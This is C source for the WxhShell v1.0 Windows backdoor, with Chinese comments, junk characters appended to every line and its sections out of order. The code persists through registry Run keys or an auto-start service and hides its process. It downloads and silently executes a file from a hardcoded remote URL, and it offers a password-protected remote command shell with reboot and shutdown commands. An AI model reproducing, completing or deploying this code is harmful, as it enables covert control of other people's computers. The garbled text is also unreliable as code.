ULONG InheritedFromUniqueProcessId; e#+u8 LrN
} PROCESS_BASIC_INFORMATION; '\MYC8"
sUCI+)cM3
PROCNTQSIP NtQueryInformationProcess; >;$C@
cILI%W1
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _XO3ml\x@
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Mj
guH5Uy
JBYmy_Su
HANDLE hProcess; %z0;77[1 I
PROCESS_BASIC_INFORMATION pbi; )\qA[rTG
C
V{kP8#
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); . paA0j
if(NULL == hInst ) return 0; -&Cb^$.-x
","O8'$OC
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :?2@qWaL
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Cj,Yy
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d'oh-dj %^
s#8mD!T|
if (!NtQueryInformationProcess) return 0; pdz_qj!Z
d3m!34ml
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '@ $L}C#OI
if(!hProcess) return 0; LXZ0up-B-
:"vW;$1
}
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o4%H/|Oq.
iOFp 9i=j
CloseHandle(hProcess); MsaD@JY.y
<Z nVWER
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L[|($vQ"
if(hProcess==NULL) return 0; /#lqv)s'
StuQ}
HMODULE hMod; y.xyr"-Q
char procName[255]; m#i5}uHHg
unsigned long cbNeeded; 8NE+G.:G
>{v,HOxl
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wX!q dII)
L<}0}y
CloseHandle(hProcess); ^Uj\s /
rT&rv^>f
if(strstr(procName,"services")) return 1; // 以服务启动 THVF(M4v
R/_bk7o]H
return 0; // 注册表启动 zF)&o}
} 69 >-
/S9(rI<'
// 主模块 TZl^M h[a
int StartWxhshell(LPSTR lpCmdLine) V1P]mUs{1
{ -E$(<Pow~\
SOCKET wsl; ty W5k(>
BOOL val=TRUE; R2e":`0I
int port=0; JB
<GV-l
struct sockaddr_in door; /.1yxb#Z?,
>!D^F]CH
if(wscfg.ws_autoins) Install(); SJ4+s4!l
<
3tt3:`g
port=atoi(lpCmdLine); f"{|c@%
KBe\)Vs
if(port<=0) port=wscfg.ws_port; c*k%r2'
]T?Py)
WSADATA data; (}#8$ )
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S`\03(zDA
I1a>w=x!+
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ]gw[
~
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); InAx;2'A:
door.sin_family = AF_INET; dr[sSBTY"
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Wq+a5[3"
door.sin_port = htons(port); wm'a)B?
m\0Xh*
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~YH'&L.O
closesocket(wsl); 3w>S?"W#
return 1; kL7n`o
} :j)v=qul
v7h!'U[/
if(listen(wsl,2) == INVALID_SOCKET) { =hP7Hea(N
closesocket(wsl); {\-9^RL
return 1; H,{WrWA
} B%.vEk)*
Wxhshell(wsl); G[bWjw86O
WSACleanup(); =^9I)JW
v<_wf
return 0; Q|6lp
]U,c`?[7#
} X%Lhu6F
4eRV?tE9
// 以NT服务方式启动 2m*g,J?ql
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (\I9eBm
{ &tJ!cTA.-
DWORD status = 0; ;!C~_{/t
DWORD specificError = 0xfffffff; *3Vic
}x9D;%)/
serviceStatus.dwServiceType = SERVICE_WIN32; ^5GyW`a}
serviceStatus.dwCurrentState = SERVICE_START_PENDING; )Z=S'm
k4_
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7eR%zNDa
serviceStatus.dwWin32ExitCode = 0; q;)+O#CR
serviceStatus.dwServiceSpecificExitCode = 0; pnpx`u;
serviceStatus.dwCheckPoint = 0; 4#D<#!]^
serviceStatus.dwWaitHint = 0; !lnRl8oV
L,+m5wKj[
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }Z,x F`
if (hServiceStatusHandle==0) return; 0p31C7!
z{q|HO
status = GetLastError(); >x3$Ld
if (status!=NO_ERROR) Od,P,t9
{ Fs3rsig
serviceStatus.dwCurrentState = SERVICE_STOPPED; - _KO}_
serviceStatus.dwCheckPoint = 0; 9'5`0$,|^
serviceStatus.dwWaitHint = 0; '|7'dlW
serviceStatus.dwWin32ExitCode = status; FB>^1B]]
serviceStatus.dwServiceSpecificExitCode = specificError; *M]@}'N
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sc/\g
return; D^30R*gV
} O u-/dE%
c{,VU.5/
serviceStatus.dwCurrentState = SERVICE_RUNNING; Jqp;8DV}
serviceStatus.dwCheckPoint = 0; nn?h;KzB
serviceStatus.dwWaitHint = 0; y!kU0
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %`# HGji)
} ,pHQv(K/
'|
6ZPv&N
// 处理NT服务事件,比如:启动、停止 <Rb[0E$
VOID WINAPI NTServiceHandler(DWORD fdwControl) &<>NP?j}
{ XZ&cTjNB&
switch(fdwControl) (X3}&aLF
{ 9 \lSN5W
case SERVICE_CONTROL_STOP: ? koIZ
serviceStatus.dwWin32ExitCode = 0; k0(_0o
serviceStatus.dwCurrentState = SERVICE_STOPPED; N+9W2n
serviceStatus.dwCheckPoint = 0; ?s-Z3{k
serviceStatus.dwWaitHint = 0; 5{Oq* |
{ wR%F>[6.{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *I6W6y;E=
} wxc24y
return; ;]PP+h
case SERVICE_CONTROL_PAUSE: u= =`]\_@
serviceStatus.dwCurrentState = SERVICE_PAUSED; }I3m8A
break; ; "K"S[
case SERVICE_CONTROL_CONTINUE: sq45fRAi
serviceStatus.dwCurrentState = SERVICE_RUNNING; "|^-Yk\U
break; [a[.tR38e
case SERVICE_CONTROL_INTERROGATE: b uu /Nz$
break; ,vh$G 7D
}; _Oc(K
"v
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _wp_y-"
} EZee
kxs
WZQ
EBXs
// 标准应用程序主函数 =H_vRd
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (~
`?_
{ /Pyj|!C3`q
!zZ3F|+HB
// 获取操作系统版本 8 t5o&8v
OsIsNt=GetOsVer(); t[4V1:
GetModuleFileName(NULL,ExeFile,MAX_PATH); $l=&
C)?tf[!_6
// 从命令行安装 Rh,a4n?W
if(strpbrk(lpCmdLine,"iI")) Install(); 'o]kOp@q
@9e}kiW
// 下载执行文件 xa[)fk$6
if(wscfg.ws_downexe) { _C54l
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !Pc&Sg
WinExec(wscfg.ws_filenam,SW_HIDE); Wi+}qO
} fWz=bJ"V
eq6>C7.$
if(!OsIsNt) { VxAG=E
// 如果时win9x,隐藏进程并且设置为注册表启动 m|]:oT`M
HideProc(); Ju@8_ ?8=
StartWxhshell(lpCmdLine); A:4?Jd>
} [aF"5G
else %5ovW<E:
if(StartFromService()) B(1WI_}~
// 以服务方式启动 cfC}"As
StartServiceCtrlDispatcher(DispatchTable); V)Sw\tS6g
else gA:unsI
// 普通方式启动 )&s9QBo{b
StartWxhshell(lpCmdLine); Mc9J Fzp
1'YUK"i
return 0; =1+/`w
} X-y3CO:&@h
W QqOXF
^e{]WH?
<
UD90}
=========================================== re)7h$f}
_lBHZJ+
hlBMRx49
}Y!v"DO#Q*
\k9]c3V
<%N*IE"q
" n/ZX$?tKAK
< #zd]t
#include <stdio.h> u10;qYfL8o
#include <string.h> !Bv.@~
#include <windows.h> TZ#^AV=ae
#include <winsock2.h> EYRg,U&'
#include <winsvc.h> q|sT4}
=
#include <urlmon.h> U8a5rF><
qs>&Xn
#pragma comment (lib, "Ws2_32.lib") $U4[a:
#pragma comment (lib, "urlmon.lib") &>xz
k![oJ.vHD
#define MAX_USER 100 // 最大客户端连接数 9T_fq56Oh6
#define BUF_SOCK 200 // sock buffer rtdEIk
#define KEY_BUFF 255 // 输入 buffer Pm"nwm
eX$RD9
H
#define REBOOT 0 // 重启 T,9pd;k
#define SHUTDOWN 1 // 关机 AD~_n^
~~3*o
#define DEF_PORT 5000 // 监听端口 :(YFIW`59
4YgO1}%G
#define REG_LEN 16 // 注册表键长度 UCo`l~K)qg
#define SVC_LEN 80 // NT服务名长度 Ce/D[%
CI1K:K AM
// 从dll定义API :7?n)=Tx
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H5(:1
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "0Z5cQjg
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zm mkmTp
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }ag;yf;
Gc_KS'K@$
// wxhshell配置信息 AO,^v+$
struct WSCFG { v ty:@?3\
int ws_port; // 监听端口 .cz7jD
char ws_passstr[REG_LEN]; // 口令 wUfm)Q#
int ws_autoins; // 安装标记, 1=yes 0=no eExI3"|Q
char ws_regname[REG_LEN]; // 注册表键名 x^Zm:Jrw~
char ws_svcname[REG_LEN]; // 服务名 48_( 'z*>
char ws_svcdisp[SVC_LEN]; // 服务显示名 kkIG{Bw
char ws_svcdesc[SVC_LEN]; // 服务描述信息 x~ID[
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AquO#A[,#
int ws_downexe; // 下载执行标记, 1=yes 0=no f\?1oMO\
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bO*hmDt
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n?QglN
K7t_Q8
}; =&^tfD
7AF6aog
// default Wxhshell configuration Te `MIR
struct WSCFG wscfg={DEF_PORT, \A6}=
"xuhuanlingzhe", ?CldcxM#
1, a4mRu|x
"Wxhshell", |-TxX:O-
"Wxhshell", |S]T,`7u
"WxhShell Service", IdCE<Oj\
"Wrsky Windows CmdShell Service", R[l~E![!j
"Please Input Your Password: ", uR.`8s|
1, 4|UtE<<b
"http://www.wrsky.com/wxhshell.exe", &\
K
"Wxhshell.exe" }L
@~!=q*
}; Oq:$GME
h0C>z2iH
// 消息定义模块 +R_s(2vz
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _zkTx7H
char *msg_ws_prompt="\n\r? for help\n\r#>"; *xN?5u%
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +F~B"a
char *msg_ws_ext="\n\rExit."; :kC*<f\
char *msg_ws_end="\n\rQuit."; !+DhH2;)F
char *msg_ws_boot="\n\rReboot..."; 4n*`%V
char *msg_ws_poff="\n\rShutdown..."; U|b)Bw<P
char *msg_ws_down="\n\rSave to "; ZAgtVbO7
>`<qa!9
char *msg_ws_err="\n\rErr!"; s^k<r;'\
char *msg_ws_ok="\n\rOK!"; .LGA0
xyHv7u%*
char ExeFile[MAX_PATH]; z'*{V\
int nUser = 0; \wR\i^
HANDLE handles[MAX_USER]; bc;?O`I<
int OsIsNt; 7=s7dYlu
-"I9`
SERVICE_STATUS serviceStatus; 3_>=Cv}
SERVICE_STATUS_HANDLE hServiceStatusHandle; X<H{
DT_%Rz~<
// 函数声明 @ +a}O
int Install(void); *J{E1])<a
int Uninstall(void); &x$ps
int DownloadFile(char *sURL, SOCKET wsh); ZH`(n5
int Boot(int flag); 6Ilj7m*
void HideProc(void); 4wWfaL5"
int GetOsVer(void); u4'B
int Wxhshell(SOCKET wsl); 4>/i,_&K K
void TalkWithClient(void *cs); xZ(d*/6E
int CmdShell(SOCKET sock); 53?Ati\Y)
int StartFromService(void); iba8G]2
int StartWxhshell(LPSTR lpCmdLine); z/nW;ow
gGx<k3W^
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ND/oKM+?
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h
gu\~}kD
6!8uZ>u%Vg
// 数据结构和表定义 )@<HG$#
SERVICE_TABLE_ENTRY DispatchTable[] = |{RCvm
{ !}sF#
{wscfg.ws_svcname, NTServiceMain}, R+2~%|{d
{NULL, NULL} T-]UAN"O
}; ZZYtaVF:
w_DaldK*
// 自我安装 mex@~VK
int Install(void) P.jy7:dB,
{ %/BBl$~ji
char svExeFile[MAX_PATH]; WO6+r?0M2
HKEY key; b;nqhO[f}
strcpy(svExeFile,ExeFile); o6:@j#b
wr~Qy4 ny
// 如果是win9x系统,修改注册表设为自启动 [Fv_~F491
if(!OsIsNt) { D={$l'y9p
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~6+Um_A_L
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c:+UC
RegCloseKey(key); H%Z;Yt8^gt
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -:~z,F
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qIB2eCXw
RegCloseKey(key); ,1]VY/
return 0; \FF|b"E_=
} ",' Zr<T
} @Fzw_qr
M
} @jq H8
else { fAfB.|cd
Z-yoJZi
// 如果是NT以上系统,安装为系统服务 5kA D vi.
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5DO}&%.xt
if (schSCManager!=0) Vy^mEsQC+h
{ 1:_}`x=hM
SC_HANDLE schService = CreateService D
|fo:Xp,
( Vt-V'`Y
schSCManager, eu?P6>urA
wscfg.ws_svcname, d,Oe3?][0p
wscfg.ws_svcdisp, ~M1T
@Mv
SERVICE_ALL_ACCESS, HGi%b5:<=M
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t3C#$>
SERVICE_AUTO_START, q^7=/d8
SERVICE_ERROR_NORMAL, B*P;*re
svExeFile, y<#Hq1
NULL, ;F"Tu
NULL, s.XxYXR\
NULL, ~}SQLYy7Z
NULL, 2/Y e<.#
NULL (cI@#x
); wM#l`I
if (schService!=0) c(Fo-4K
{ lE!.$L*k
CloseServiceHandle(schService);
OAEa+V
CloseServiceHandle(schSCManager); _@VKWU$$
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &B++ "f
strcat(svExeFile,wscfg.ws_svcname); db}lN
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &vIj(e9Y
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L X #.
RegCloseKey(key); 9*Fc+/
return 0; Y&y<WN}Q
} F!2VTPm9z
} $$*0bRfd4=
CloseServiceHandle(schSCManager); |!1iLWQ
} \`%#SmQF
} (a~V<v"
Yp8XZ3
return 1; ,mK UCG
} 1^[]#N-Bu
=/ \l=*
// 自我卸载 *OHjw;xm+
int Uninstall(void) ?%/*F<UVQ
{ zy~*~;6tW
HKEY key; ^K
9jJS9K
iR8;^C.aT
if(!OsIsNt) { (C%qA<6
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t+j dV
RegDeleteValue(key,wscfg.ws_regname); 3M'Y'Szm
RegCloseKey(key); ej&o,gX
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o =F!&]+
RegDeleteValue(key,wscfg.ws_regname); <l>L8{-3
RegCloseKey(key); E/D@;Ym18
return 0; jO`L:D/C
} vkW;qt}yO
} 'C;KNc
} }VVtv1
else { faZc18M^1
a t=;}}X
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e`)zR'As
if (schSCManager!=0) f9'dZ}B
{ B74]hgK
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Hl8\*#;C&>
if (schService!=0) kq(]7jU$[
{ B0gs<E
if(DeleteService(schService)!=0) { $cLZ,N24
CloseServiceHandle(schService); 6^FUuj.
CloseServiceHandle(schSCManager); d ;,C[&
return 0; =H^~"16
} (: mF+%(
CloseServiceHandle(schService); t 1G2A`
} #rp)Gc
CloseServiceHandle(schSCManager); 2#'"<n,G
} ~c\2'
} ;@n/gU
qVds
2
return 1; )Rj?\ZUR
} '%a:L^a?
(D\`:1g
// 从指定url下载文件 [&zSY